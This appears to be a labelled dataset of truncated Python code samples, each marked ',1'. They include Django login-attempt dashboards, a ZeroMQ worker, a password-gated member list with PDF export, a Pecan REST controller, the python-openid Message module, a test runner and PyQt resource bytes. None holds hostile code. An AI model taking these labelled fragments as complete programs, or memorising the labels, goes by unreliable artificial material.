%H:%M"") else: temp_hosts[host] = { ""host"": host, ""count"": v.get(""count"", 0), ""last_date"": date_tz.strftime(""%b %d %H:%M"") } for username, v in value.get(""users"", {}).items(): attempt_count += v.get(""count"", 0) raw_date = v.get(""last_date"") date_tz = None if raw_date: date = datetime.fromtimestamp(int(raw_date)) date_tz = pytz.timezone(settings.TIME_ZONE).localize(date, is_dst=None) if username in temp_users: temp_users[username][""count""] = temp_users[username][""count""] + v.get(""count"", 0) temp_users[username][""last_date""] = date_tz.strftime(""%b %d %H:%M"") else: temp_users[username] = { ""username"": username, ""count"": v.get(""count"", 0), ""last_date"": date_tz.strftime(""%b %d %H:%M"") } count_hosts.append(attempt_count) dates.append(timezone.localtime(p.time).strftime(""%b %d %H:%M"")) hosts = [] for i in temp_hosts: hosts.append(temp_hosts[i]) if hosts: hosts.sort(key=lambda x: x[""count""], reverse=True) hosts = hosts[:100] users = [] for i in temp_users: users.append(temp_users[i]) if users: users.sort(key=lambda x: x[""count""], reverse=True) users = users[:100] date_range = { ""start"": time.mktime(timezone.localtime(date_start_tz).timetuple()), # time.mktime(timezone.localtime(timezone.now()).timetuple()), ""start_date"": time.mktime(timezone.localtime(date_start_tz).timetuple()) + 10, # time.mktime(timezone.localtime(timezone.now()).timetuple()), ""end_date"": time.mktime(timezone.localtime(date_end_tz).timetuple()), } if values: date_range[""start""] = time.mktime(timezone.localtime(values[0].time).timetuple()) start_obj = SecurityLoginAttemptCorrect.objects.all().first() if start_obj: date_range[""start_date""] = time.mktime(timezone.localtime(start_obj.time).timetuple()) if date_range[""start_date""] == date_range[""end_date""]: date_range[""end_date""] += 10 return Response({ ""values"": [{ ""data"": count_hosts, ""label"": 'Number of login' }], ""dates"": dates, ""date_range"": date_range, ""count_correct_attempt"": count_correct_attempt, ""hosts"": hosts, ""users"": users }, status=status.HTTP_200_OK) @api_view(['GET']) @permission_classes((IsAdminUser, )) def incorrectlogins_data(request): date_start_raw = request.GET.get('date_start') date_end_raw = request.GET.get('date_end') date_start_tz = None date_end_tz = None if not date_start_raw or not date_end_raw: now = timezone.now() date_start_tz = now - timedelta(hours=24) date_end_tz = now else: date_start = datetime.fromtimestamp(int(date_start_raw)) date_start_tz = pytz.timezone(settings.TIME_ZONE).localize(date_start, is_dst=None) date_end = datetime.fromtimestamp(int(date_end_raw)) date_end_tz = pytz.timezone(settings.TIME_ZONE).localize(date_end, is_dst=None) if date_start_tz == date_end_tz: now = timezone.now() date_start_tz = now - timedelta(hours=24) date_end_tz = now count_incorrect_attepmt = 0 count_hosts = [] temp_hosts = {} temp_users = {} dates = [] values = SecurityLoginAttemptIncorrect.objects.filter(time__range=[date_start_tz, date_end_tz]) for p in values: value = json.loads(p.value) attempt_count = 0 for host, v in value.get(""hosts"", {}).items(): attempt_count += v.get(""count"", 0) raw_date = v.get(""last_date"") date_tz = None if raw_date: date = datetime.fromtimestamp(int(raw_date)) date_tz = pytz.timezone(settings.TIME_ZONE).localize(date, is_dst=None) if host in temp_hosts: temp_hosts[host][""count""] = temp_hosts[host][""count""] + v.get(""count"", 0) temp_hosts[host][""last_date""] = date_tz.strftime(""%b %d %H:%M"") else: temp_hosts[host] = { ""host"": host, ""count"": v.get(""count"", 0), ""last_date"": date_tz.strftime(""%b %d %H:%M"") } for user, v in value.get(""users"", {}).items(): attempt_count += v.get(""count"") raw_date = v.get(""last_date"") date_tz = None if raw_date: date = datetime.fromtimestamp(int(raw_date)) date_tz = pytz.timezone(settings.TIME_ZONE).localize(date, is_dst=None) if user in temp_users: temp_users[user][""count""] = temp_users[user][""count""] + v.get(""count"") temp_users[user][""last_date""] = date_tz.strftime(""%b %d %H:%M"") else: temp_users[user] = { ""username"": user, ""count"": v.get(""count""), ""last_date"": date_tz.strftime(""%b %d %H:%M"") } count_incorrect_attepmt += attempt_count count_hosts.append(attempt_count) dates.append(timezone.localtime(p.time).strftime(""%b %d %H:%M"")) hosts = [] for i in temp_hosts: hosts.append(temp_hosts[i]) if hosts: hosts.sort(key=lambda x: x[""count""], reverse=True) hosts = hosts[:100] users = [] for i in temp_users: users.append(temp_users[i]) if users: users.sort(key=lambda x: x[""count""], reverse=True) users = users[:100] date_range = { ""start"": time.mktime(timezone.localtime(date_start_tz).timetuple()), # time.mktime(timezone.localtime(timezone.now()).timetuple()), ""start_date"": time.mktime(timezone.localtime(date_start_tz).timetuple()) + 10, # time.mktime(timezone.localtime(timezone.now()).timetuple()), ""end_date"": time.mktime(timezone.localtime(date_end_tz).timetuple()), } if values: date_range[""start""] = time.mktime(timezone.localtime(values[0].time).timetuple()) start_obj = SecurityLoginAttemptIncorrect.objects.all().first() if start_obj: date_range[""start_date""] = time.mktime(timezone.localtime(start_obj.time).timetuple()) if date_range[""start_date""] == date_range[""end_date""]: date_range[""end_date""] += 10 return Response({ ""values"": [{ ""data"": count_hosts, ""label"": 'Number of attempt incorrect login' }], ""dates"": dates, ""date_range"": date_range, ""count_incorrect_attepmt"": count_incorrect_attepmt, ""hosts"": hosts, ""users"": users }, status=status.HTTP_200_OK) ",1 ", with or without # modification, are permitted provided that the following conditions # are met: # # * Redistributions of source code must retain the above copyright # notice, this list ofconditions and the following disclaimer. # # * Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in # the documentation and/or other materialsprovided with the # distribution. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # ""AS IS"" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS # FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE # COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, # INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, # BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; # LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER # CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT # LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN # ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. import zmq import time if __name__ == '__main__': ctx = zmq.Context() worker = ctx.socket(zmq.PULL) worker.connect('tcp://localhost:5555') sinker = ctx.socket(zmq.PUSH) sinker.connect('tcp://localhost:6666') print 'all workers are ready ...' while True: try: msg = worker.recv() print 'begin to work on task use `%s ms`' % msg time.sleep(int(msg) * 0.001) print '\tfinished this task' sinker.send('finished task which used `%s ms`' % msg) except KeyboardInterrupt: break sinker.close() worker.close() ",1 " import LoginRequiredMixin from django.views.generic import DetailView, ListView from django.views.decorators.http import require_http_methods from django.contrib import messages from django.shortcuts import render, redirect from django.conf import settings from reportlab.pdfgen.canvas import Canvas from reportlab.lib.units import inch from reportlab.lib.styles import getSampleStyleSheet from reportlab.lib.pagesizes import letter, landscape from reportlab.platypus import Spacer from reportlab.platypus import Frame from reportlab.platypus import Paragraph from reportlab.platypus import PageTemplate from reportlab.platypus import BaseDocTemplate from environ import Env from members.models import Member @require_http_methods(['GET', 'POST']) def member_list(request): env = Env() MEMBERS_PASSWORD = env('MEMBERS_PASSWORD') # handle form submission if request.POST: pw_form = PasswordForm(request.POST) if pw_form.is_valid() and pw_form.cleaned_data['password'] == MEMBERS_PASSWORD: request.session['password'] = pw_form.cleaned_data['password'] return redirect('members:member_list') messages.error(request, ""The password you entered was incorrect, please try again."") # form not being submitted, check password if (request.session.get('password') and request.session['password'] == MEMBERS_PASSWORD): member_list = Member.objects.all() return render(request, 'members/member_list.html', { 'member_list': member_list, }) # password is wrong, render form pw_form = PasswordForm() return render(request, 'members/members_password_form.html', { 'pw_form': pw_form, }) class PasswordForm(forms.Form): password = forms.CharField(max_length=20, widget=forms.PasswordInput(attrs={ 'class': 'form-control', 'placeholder': 'Enter Password', })) def build_frames(pwidth, pheight, ncols): frames = [] for i in range(ncols): f = Frame(x1=(i*((pwidth-30) / ncols)+15), y1=0, width=((pwidth-30) / ncols), height=pheight+2, leftPadding=15, rightPadding=15, topPadding=15, bottomPadding=15, showBoundary=True) frames.append(f) frames[0].showBoundary=False frames[3].showBoundary=False return frames def member_list_pdf(request): response = HttpResponse(content_type='application/pdf') response['Content-Disposition'] = 'attachment; filename=""memberlist.pdf""' buffer = BytesIO() NCOLUMNS = 4 PAGE_WIDTH, PAGE_HEIGHT = landscape(letter) styles = getSampleStyleSheet() ptemplate = PageTemplate(frames=build_frames(PAGE_WIDTH, PAGE_HEIGHT, NCOLUMNS)) doc = BaseDocTemplate( filename=buffer, pagesize=landscape(letter), pageTemplates=[ptemplate], showBoundary=0, leftMargin=inch, rightMargin=inch, topMargin=inch, bottomMargin=inch, allowSplitting=0, title='SSIP209 Members Listing', author='Max Shkurygin', _pageBreakQuick=1, encrypt=None) template = Template("""""" {{ member.last_name }}, {{ member.first_name }}
    {% if member.address or member.town %} {{ member.address }}
    {% if member.town %} {{ member.town }} NY
    {% endif %} {% endif %} {% if member.homephone %} (Home) {{ member.homephone }}
    {% endif %} {% if member.cellphone %} (Cell) {{ member.cellphone }}
    {% endif %} {% if member.email %} Email: {{ member.email }}
    {% endif %} {% if member.hobbies %} My Hobbies: {{ member.hobbies }}
    {% endif %} {% if member.canhelp %} I can help with: {{ member.canhelp }}
    {% endif %} {% if member.needhelp %} I could use help with: {{ member.needhelp }}
    {% endif %} """""") content = [] for member in Member.objects.all(): context = Context({""member"": member}) p = Paragraph(template.render(context), styles[""Normal""]) content.append(p) content.append(Spacer(1, 0.3*inch)) doc.build(content) pdf = buffer.getvalue() buffer.close() response.write(pdf) return response ",1 "Contents: @logtool.log_call def __init__ (self, canvas, objects): self.canvas = canvas self.objects = objects @logtool.log_call def render (self): with Page (self.canvas) as pg: for obj in self.objects: coords = pg.next (obj.asset) with XlateFrame (self.canvas, obj.tile_type, *coords, inset_by = ""margin""): # print (""Obj: "", obj.asset) obj.render () ",1 "e this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from pecan import rest from pecan import expose from pecan import request from mistral.openstack.common import log as logging from mistral.db import api as db_api from mistral.services import scheduler LOG = logging.getLogger(__name__) class WorkbookDefinitionController(rest.RestController): @expose() def get(self, workbook_name): LOG.debug(""Fetch workbook definition [workbook_name=%s]"" % workbook_name) return db_api.workbook_definition_get(workbook_name) @expose(content_type=""text/plain"") def put(self, workbook_name): text = request.text LOG.debug(""Update workbook definition [workbook_name=%s, text=%s]"" % (workbook_name, text)) wb = db_api.workbook_definition_put(workbook_name, text) scheduler.create_associated_triggers(wb) return wb['definition'] ",1 "NS', 'OPENID1_NS', 'OPENID2_NS', 'SREG_URI', 'IDENTIFIER_SELECT'] import copy import warnings import urllib from openid import oidutil from openid import kvform try: ElementTree = oidutil.importElementTree() except ImportError: # No elementtree found, so give up, but don't fail to import, # since we have fallbacks. ElementTree = None # This doesn't REALLY belong here, but where is better? IDENTIFIER_SELECT = 'http://specs.openid.net/auth/2.0/identifier_select' # URI for Simple Registration extension, the only commonly deployed # OpenID 1.x extension, and so a special case SREG_URI = 'http://openid.net/sreg/1.0' # The OpenID 1.X namespace URI OPENID1_NS = 'http://openid.net/signon/1.0' THE_OTHER_OPENID1_NS = 'http://openid.net/signon/1.1' OPENID1_NAMESPACES = OPENID1_NS, THE_OTHER_OPENID1_NS # The OpenID 2.0 namespace URI OPENID2_NS = 'http://specs.openid.net/auth/2.0' # The namespace consisting of pairs with keys that are prefixed with # ""openid."" but not in another namespace. NULL_NAMESPACE = oidutil.Symbol('Null namespace') # The null namespace, when it is an allowed OpenID namespace OPENID_NS = oidutil.Symbol('OpenID namespace') # The top-level namespace, excluding all pairs with keys that start # with ""openid."" BARE_NS = oidutil.Symbol('Bare namespace') # Limit, in bytes, of identity provider and return_to URLs, including # response payload. See OpenID 1.1 specification, Appendix D. OPENID1_URL_LIMIT = 2047 # All OpenID protocol fields. Used to check namespace aliases. OPENID_PROTOCOL_FIELDS = [ 'ns', 'mode', 'error', 'return_to', 'contact', 'reference', 'signed', 'assoc_type', 'session_type', 'dh_modulus', 'dh_gen', 'dh_consumer_public', 'claimed_id', 'identity', 'realm', 'invalidate_handle', 'op_endpoint', 'response_nonce', 'sig', 'assoc_handle', 'trust_root', 'openid', ] class UndefinedOpenIDNamespace(ValueError): """"""Raised if the generic OpenID namespace is accessed when there is no OpenID namespace set for this message."""""" class InvalidOpenIDNamespace(ValueError): """"""Raised if openid.ns is not a recognized value. For recognized values, see L{Message.allowed_openid_namespaces} """""" def __str__(self): s = ""Invalid OpenID Namespace"" if self.args: s += "" %r"" % (self.args[0],) return s # Sentinel used for Message implementation to indicate that getArg # should raise an exception instead of returning a default. no_default = object() # Global namespace / alias registration map. See # registerNamespaceAlias. registered_aliases = {} class NamespaceAliasRegistrationError(Exception): """""" Raised when an alias or namespace URI has already been registered. """""" pass def registerNamespaceAlias(namespace_uri, alias): """""" Registers a (namespace URI, alias) mapping in a global namespace alias map. Raises NamespaceAliasRegistrationError if either the namespace URI or alias has already been registered with a different value. This function is required if you want to use a namespace with an OpenID 1 message. """""" global registered_aliases if registered_aliases.get(alias) == namespace_uri: return if namespace_uri in registered_aliases.values(): raise NamespaceAliasRegistrationError, \ 'Namespace uri %r already registered' % (namespace_uri,) if alias in registered_aliases: raise NamespaceAliasRegistrationError, \ 'Alias %r already registered' % (alias,) registered_aliases[alias] = namespace_uri class Message(object): """""" In the implementation of this object, None represents the global namespace as well as a namespace with no key. @cvar namespaces: A dictionary specifying specific namespace-URI to alias mappings that should be used when generating namespace aliases. @ivar ns_args: two-level dictionary of the values in this message, grouped by namespace URI. The first level is the namespace URI. """""" allowed_openid_namespaces = [OPENID1_NS, THE_OTHER_OPENID1_NS, OPENID2_NS] def __init__(self, openid_namespace=None): """"""Create an empty Message. @raises InvalidOpenIDNamespace: if openid_namespace is not in L{Message.allowed_openid_namespaces} """""" self.args = {} self.namespaces = NamespaceMap() if openid_namespace is None: self._openid_ns_uri = None else: implicit = openid_namespace in OPENID1_NAMESPACES self.setOpenIDNamespace(openid_namespace, implicit) def fromPostArgs(cls, args): """"""Construct a Message containing a set of POST arguments. """""" self = cls() # Partition into ""openid."" args and bare args openid_args = {} for key, value in args.items(): if isinstance(value, list): raise TypeError(""query dict must have one value for each key, "" ""not lists of values. Query is %r"" % (args,)) try: prefix, rest = key.split('.', 1) except ValueError: prefix = None if prefix != 'openid': self.args[(BARE_NS, key)] = value else: openid_args[rest] = value self._fromOpenIDArgs(openid_args) return self fromPostArgs = classmethod(fromPostArgs) def fromOpenIDArgs(cls, openid_args): """"""Construct a Message from a parsed KVForm message. @raises InvalidOpenIDNamespace: if openid.ns is not in L{Message.allowed_openid_namespaces} """""" self = cls() self._fromOpenIDArgs(openid_args) return self fromOpenIDArgs = classmethod(fromOpenIDArgs) def _fromOpenIDArgs(self, openid_args): ns_args = [] # Resolve namespaces for rest, value in openid_args.iteritems(): try: ns_alias, ns_key = rest.split('.', 1) except ValueError: ns_alias = NULL_NAMESPACE ns_key = rest if ns_alias == 'ns': self.namespaces.addAlias(value, ns_key) elif ns_alias == NULL_NAMESPACE and ns_key == 'ns': # null namespace self.setOpenIDNamespace(value, False) else: ns_args.append((ns_alias, ns_key, value)) # Implicitly set an OpenID namespace definition (OpenID 1) if not self.getOpenIDNamespace(): self.setOpenIDNamespace(OPENID1_NS, True) # Actually put the pairs into the appropriate namespaces for (ns_alias, ns_key, value) in ns_args: ns_uri = self.namespaces.getNamespaceURI(ns_alias) if ns_uri is None: # we found a namespaced arg without a namespace URI defined ns_uri = self._getDefaultNamespace(ns_alias) if ns_uri is None: ns_uri = self.getOpenIDNamespace() ns_key = '%s.%s' % (ns_alias, ns_key) else: self.namespaces.addAlias(ns_uri, ns_alias, implicit=True) self.setArg(ns_uri, ns_key, value) def _getDefaultNamespace(self, mystery_alias): """"""OpenID 1 compatibility: look for a default namespace URI to use for this alias."""""" global registered_aliases # Only try to map an alias to a default if it's an # OpenID 1.x message. if self.isOpenID1(): return registered_aliases.get(mystery_alias) else: return None def setOpenIDNamespace(self, openid_ns_uri, implicit): """"""Set the OpenID namespace URI used in this message. @raises InvalidOpenIDNamespace: if the namespace is not in L{Message.allowed_openid_namespaces} """""" if openid_ns_uri not in self.allowed_openid_namespaces: raise InvalidOpenIDNamespace(openid_ns_uri) self.namespaces.addAlias(openid_ns_uri, NULL_NAMESPACE, implicit) self._openid_ns_uri = openid_ns_uri def getOpenIDNamespace(self): return self._openid_ns_uri def isOpenID1(self): return self.getOpenIDNamespace() in OPENID1_NAMESPACES def isOpenID2(self): return self.getOpenIDNamespace() == OPENID2_NS def fromKVForm(cls, kvform_string): """"""Create a Message from a KVForm string"""""" return cls.fromOpenIDArgs(kvform.kvToDict(kvform_string)) fromKVForm = classmethod(fromKVForm) def copy(self): return copy.deepcopy(self) def toPostArgs(self): """"""Return all arguments with openid. in front of namespaced arguments. """""" args = {} # Add namespace definitions to the output for ns_uri, alias in self.namespaces.iteritems(): if self.namespaces.isImplicit(ns_uri): continue if alias == NULL_NAMESPACE: ns_key = 'openid.ns' else: ns_key = 'openid.ns.' + alias args[ns_key] = oidutil.toUnicode(ns_uri).encode('UTF-8') for (ns_uri, ns_key), value in self.args.iteritems(): key = self.getKey(ns_uri, ns_key) # Ensure the resulting value is an UTF-8 encoded bytestring. args[key] = oidutil.toUnicode(value).encode('UTF-8') return args def toArgs(self): """"""Return all namespaced arguments, failing if any non-namespaced arguments exist."""""" # FIXME - undocumented exception post_args = self.toPostArgs() kvargs = {} for k, v in post_args.iteritems(): if not k.startswith('openid.'): raise ValueError( 'This message can only be encoded as a POST, because it ' 'contains arguments that are not prefixed with ""openid.""') else: kvargs[k[7:]] = v return kvargs def toFormMarkup(self, action_url, form_tag_attrs=None, submit_text=u""Continue""): """"""Generate HTML form markup that contains the values in this message, to be HTTP POSTed as x-www-form-urlencoded UTF-8. @param action_url: The URL to which the form will be POSTed @type action_url: str @param form_tag_attrs: Dictionary of attributes to be added to the form tag. 'accept-charset' and 'enctype' have defaults that can be overridden. If a value is supplied for 'action' or 'method', it will be replaced. @type form_tag_attrs: {unicode: unicode} @param submit_text: The text that will appear on the submit button for this form. @type submit_text: unicode @returns: A string containing (X)HTML markup for a form that encodes the values in this Message object. @rtype: str or unicode """""" if ElementTree is None: raise RuntimeError('This function requires ElementTree.') assert action_url is not None form = ElementTree.Element(u'form') if form_tag_attrs: for name, attr in form_tag_attrs.iteritems(): form.attrib[name] = attr form.attrib[u'action'] = oidutil.toUnicode(action_url) form.attrib[u'method'] = u'post' form.attrib[u'accept-charset'] = u'UTF-8' form.attrib[u'enctype'] = u'application/x-www-form-urlencoded' for name, value in self.toPostArgs().iteritems(): attrs = {u'type': u'hidden', u'name': oidutil.toUnicode(name), u'value': oidutil.toUnicode(value)} form.append(ElementTree.Element(u'input', attrs)) submit = ElementTree.Element(u'input', {u'type':'submit', u'value':oidutil.toUnicode(submit_text)}) form.append(submit) return ElementTree.tostring(form, encoding='utf-8') def toURL(self, base_url): """"""Generate a GET URL with the parameters in this message attached as query parameters."""""" return oidutil.appendArgs(base_url, self.toPostArgs()) def toKVForm(self): """"""Generate a KVForm string that contains the parameters in this message. This will fail if the message contains arguments outside of the 'openid.' prefix. """""" return kvform.dictToKV(self.toArgs()) def toURLEncoded(self): """"""Generate an x-www-urlencoded string"""""" args = self.toPostArgs().items() args.sort() return urllib.urlencode(args) def _fixNS(self, namespace): """"""Convert an input value into the internally used values of this object @param namespace: The string or constant to convert @type namespace: str or unicode or BARE_NS or OPENID_NS """""" if namespace == OPENID_NS: if self._openid_ns_uri is None: raise UndefinedOpenIDNamespace('OpenID namespace not set') else: namespace = self._openid_ns_uri if namespace != BARE_NS and type(namespace) not in [str, unicode]: raise TypeError( ""Namespace must be BARE_NS, OPENID_NS or a string. got %r"" % (namespace,)) if namespace != BARE_NS and ':' not in namespace: fmt = 'OpenID 2.0 namespace identifiers SHOULD be URIs. Got %r' warnings.warn(fmt % (namespace,), DeprecationWarning) if namespace == 'sreg': fmt = 'Using %r instead of ""sreg"" as namespace' warnings.warn(fmt % (SREG_URI,), DeprecationWarning,) return SREG_URI return namespace def hasKey(self, namespace, ns_key): namespace = self._fixNS(namespace) return (namespace, ns_key) in self.args def getKey(self, namespace, ns_key): """"""Get the key for a particular namespaced argument"""""" namespace = self._fixNS(namespace) if namespace == BARE_NS: return ns_key ns_alias = self.namespaces.getAlias(namespace) # No alias is defined, so no key can exist if ns_alias is None: return None if ns_alias == NULL_NAMESPACE: tail = ns_key else: tail = '%s.%s' % (ns_alias, ns_key) return 'openid.' + tail def getArg(self, namespace, key, default=None): """"""Get a value for a namespaced key. @param namespace: The namespace in the message for this key @type namespace: str @param key: The key to get within this namespace @type key: str @param default: The value to use if this key is absent from this message. Using the special value openid.message.no_default will result in this method raising a KeyError instead of returning the default. @rtype: str or the type of default @raises KeyError: if default is no_default @raises UndefinedOpenIDNamespace: if the message has not yet had an OpenID namespace set """""" namespace = self._fixNS(namespace) args_key = (namespace, key) try: return self.args[args_key] except KeyError: if default is no_default: raise KeyError((namespace, key)) else: return default def getArgs(self, namespace): """"""Get the arguments that are defined for this namespace URI @returns: mapping from namespaced keys to values @returntype: dict """""" namespace = self._fixNS(namespace) return dict([ (ns_key, value) for ((pair_ns, ns_key), value) in self.args.iteritems() if pair_ns == namespace ]) def updateArgs(self, namespace, updates): """"""Set multiple key/value pairs in one call @param updates: The values to set @type updates: {unicode:unicode} """""" namespace = self._fixNS(namespace) for k, v in updates.iteritems(): self.setArg(namespace, k, v) def setArg(self, namespace, key, value): """"""Set a single argument in this namespace"""""" assert key is not None assert value is not None namespace = self._fixNS(namespace) self.args[(namespace, key)] = value if not (namespace is BARE_NS): self.namespaces.add(namespace) def delArg(self, namespace, key): namespace = self._fixNS(namespace) del self.args[(namespace, key)] def __repr__(self): return ""<%s.%s %r>"" % (self.__class__.__module__, self.__class__.__name__, self.args) def __eq__(self, other): return self.args == other.args def __ne__(self, other): return not (self == other) def getAliasedArg(self, aliased_key, default=None): if aliased_key == 'ns': return self.getOpenIDNamespace() if aliased_key.startswith('ns.'): uri = self.namespaces.getNamespaceURI(aliased_key[3:]) if uri is None: if default == no_default: raise KeyError else: return default else: return uri try: alias, key = aliased_key.split('.', 1) except ValueError: # need more than x values to unpack ns = None else: ns = self.namespaces.getNamespaceURI(alias) if ns is None: key = aliased_key ns = self.getOpenIDNamespace() return self.getArg(ns, key, default) class NamespaceMap(object): """"""Maintains a bijective map between namespace uris and aliases. """""" def __init__(self): self.alias_to_namespace = {} self.namespace_to_alias = {} self.implicit_namespaces = [] def getAlias(self, namespace_uri): return self.namespace_to_alias.get(namespace_uri) def getNamespaceURI(self, alias): return self.alias_to_namespace.get(alias) def iterNamespaceURIs(self): """"""Return an iterator over the namespace URIs"""""" return iter(self.namespace_to_alias) def iterAliases(self): """"""Return an iterator over the aliases"""""" return iter(self.alias_to_namespace) def iteritems(self): """"""Iterate over the mapping @returns: iterator of (namespace_uri, alias) """""" return self.namespace_to_alias.iteritems() def addAlias(self, namespace_uri, desired_alias, implicit=False): """"""Add an alias from this namespace URI to the desired alias """""" # Check that desired_alias is not an openid protocol field as # per the spec. assert desired_alias not in OPENID_PROTOCOL_FIELDS, \ ""%r is not an allowed namespace alias"" % (desired_alias,) # Check that desired_alias does not contain a period as per # the spec. if type(desired_alias) in [str, unicode]: assert '.' not in desired_alias, \ ""%r must not contain a dot"" % (desired_alias,) # Check that there is not a namespace already defined for # the desired alias current_namespace_uri = self.alias_to_namespace.get(desired_alias) if (current_namespace_uri is not None and current_namespace_uri != namespace_uri): fmt = ('Cannot map %r to alias %r. ' '%r is already mapped to alias %r') msg = fmt % ( namespace_uri, desired_alias, current_namespace_uri, desired_alias) raise KeyError(msg) # Check that there is not already a (different) alias for # this namespace URI alias = self.namespace_to_alias.get(namespace_uri) if alias is not None and alias != desired_alias: fmt = ('Cannot map %r to alias %r. ' 'It is already mapped to alias %r') raise KeyError(fmt % (namespace_uri, desired_alias, alias)) assert (desired_alias == NULL_NAMESPACE or type(desired_alias) in [str, unicode]), repr(desired_alias) assert namespace_uri not in self.implicit_namespaces self.alias_to_namespace[desired_alias] = namespace_uri self.namespace_to_alias[namespace_uri] = desired_alias if implicit: self.implicit_namespaces.append(namespace_uri) return desired_alias def add(self, namespace_uri): """"""Add this namespace URI to the mapping, without caring what alias it ends up with"""""" # See if this namespace is already mapped to an alias alias = self.namespace_to_alias.get(namespace_uri) if alias is not None: return alias # Fall back to generating a numerical alias i = 0 while True: alias = 'ext' + str(i) try: self.addAlias(namespace_uri, alias) except KeyError: i += 1 else: return alias assert False, ""Not reached"" def isDefined(self, namespace_uri): return namespace_uri in self.namespace_to_alias def __contains__(self, namespace_uri): return self.isDefined(namespace_uri) def isImplicit(self, namespace_uri): return namespace_uri in self.implicit_namespaces ",1 "fer import transfer import interchunk import postchunk import adaptdocx if __name__ == ""__main__"": os.chdir(os.path.dirname(__file__)) failures = 0 for module in [tagger, pretransfer, transfer, interchunk, postchunk, adaptdocx, cleanstream]: suite = unittest.TestLoader().loadTestsFromModule(module) res = unittest.TextTestRunner(verbosity=2).run(suite) if(not(res.wasSuccessful())): failures += 1 sys.exit(min(failures, 255)) ",1 " will be lost! from PyQt5 import QtCore qt_resource_data = b""\ \x00\x00\x01\xf1\ \x00\ \x00\x09\x00\x78\x9c\xdd\x96\x51\x6f\x9b\x30\x10\xc7\xdf\xfb\x29\ \x3c\x1e\x9a\x4d\x15\xd0\x49\x7b\x98\x52\x48\x34\x92\x4c\xea\xd4\ \xaa\x54\x69\x55\xf5\xd1\x98\x0b\x71\x01\xdb\x35\x26\x09\xdf\x7e\ \x86\xb0\x96\xa4\x2c\xa4\x1d\x4f\xe3\xc5\xd8\x77\xbe\xdf\x9d\x8d\ \xff\xc6\x19\x6f\xd2\x04\xad\x40\x66\x94\x33\xd7\xf8\x6a\x9d\x1b\ \x08\x18\xe1\x21\x65\x91\x6b\xe4\x6a\x61\x7e\x37\xc6\xa3\x13\xe7\ \xd3\xf4\x66\x72\xf7\xe8\xcf\xd0\x26\x80\x44\xf7\xcb\x66\x77\xda\ \xe8\x04\xe9\xc7\x59\xf0\x24\x04\x89\xaa\x26\x74\x0d\xc6\x6b\x43\ \x65\x54\x54\x25\x30\xf2\x38\x8f\x53\x2c\xe3\x0c\x79\x58\x3a\xf6\ \x76\xf0\xd5\x29\xa8\xcd\x68\x29\x61\xe1\x1a\x4b\xa5\xc4\xd0\xb6\ \x41\x52\x62\xd2\x10\x2c\x51\xa8\x25\x67\xa6\x90\xfc\x09\x88\xca\ \x2c\x2e\x23\xbb\xc1\x68\x70\x66\x7a\x0a\x7a\x80\x00\xcd\xa9\x82\ \xb7\x1c\xfb\x0f\xa8\x93\xbd\x5e\xaf\x2d\x49\x75\xb5\x01\x66\x31\ \xe1\xa9\xc8\x95\x5e\x1e\x4b\xbf\xfd\x85\xec\x17\xb7\xea\x9d\xe4\ \x43\xeb\xd6\x88\xdc\x88\x9b\xbd\x09\xdc\x51\xc2\xb3\xb2\x28\xb7\ \xf7\x53\x6e\x0f\xde\x1e\xbb\x25\xf1\xa3\x98\x21\xac\x20\xe1\x42\ \x7f\x2e\x87\xe9\xd3\x17\xbf\x3e\xf8\x21\x27\x35\xff\x30\x94\x93\ \x3c\x05\xa6\xb0\xd2\xdf\x72\x1f\xdc\x20\xe1\xd1\x31\x60\x4f\xfb\ \xf5\xc1\x5b\x70\x99\xa7\xc7\x00\x7f\x96\x8e\x7d\x10\x45\x82\x19\ \xa8\x4e\xa4\x5f\xb9\xa1\x5b\xd5\x07\xf3\x59\x11\xbd\x49\x12\xda\ \x0e\xfc\x6e\x99\x93\xca\xaf\x1f\xa6\x89\x85\x68\xd5\x98\x1d\xa4\ \xf9\xa3\xf6\x3a\x1a\xea\xd8\xdb\x03\xff\x7e\x05\xf0\x2b\xfd\xfb\ \xb8\x0a\x6c\xf5\xb3\xa3\xa4\x1a\x72\x85\x59\x94\xe3\x08\x4a\x5a\ \xd6\x93\x2a\x88\x42\xd0\x66\x12\x65\xbf\x33\x11\x1f\x93\xb8\xcc\ \xe3\x92\x85\xb0\x19\x22\xbf\xf0\x2f\x3f\xb8\xd4\x7b\xbd\xbd\x45\ \x2f\x20\x3b\x74\x5f\x5d\x03\xcb\xff\xdb\x0b\xeb\xdb\xbf\xa1\x9f\ \xf0\x0a\x67\x44\x52\xa1\x86\x09\x27\x95\x98\x5a\x95\x65\x90\x62\ \x9a\x28\x3e\x1c\xcf\xef\xbd\x5f\xb3\xc9\x9d\x3b\x40\x67\x28\xac\ \x45\xd7\xaa\x48\x7a\x60\x70\x8a\x53\x71\xe1\xdd\x4c\x1f\x2b\x3b\ \x64\x04\x0b\xf8\xbc\x13\xe9\xcb\x45\x7b\xf2\x73\x60\x21\xba\xa2\ \x2c\xee\xcc\xfb\x75\xf3\x1d\x7b\xfb\x23\xf3\x1b\xc5\xa5\x8d\x58\ \ "" qt_resource_name = b""\ \x00\x15\ \x0c\xd3\x2e\x3c\ \x00\x44\ 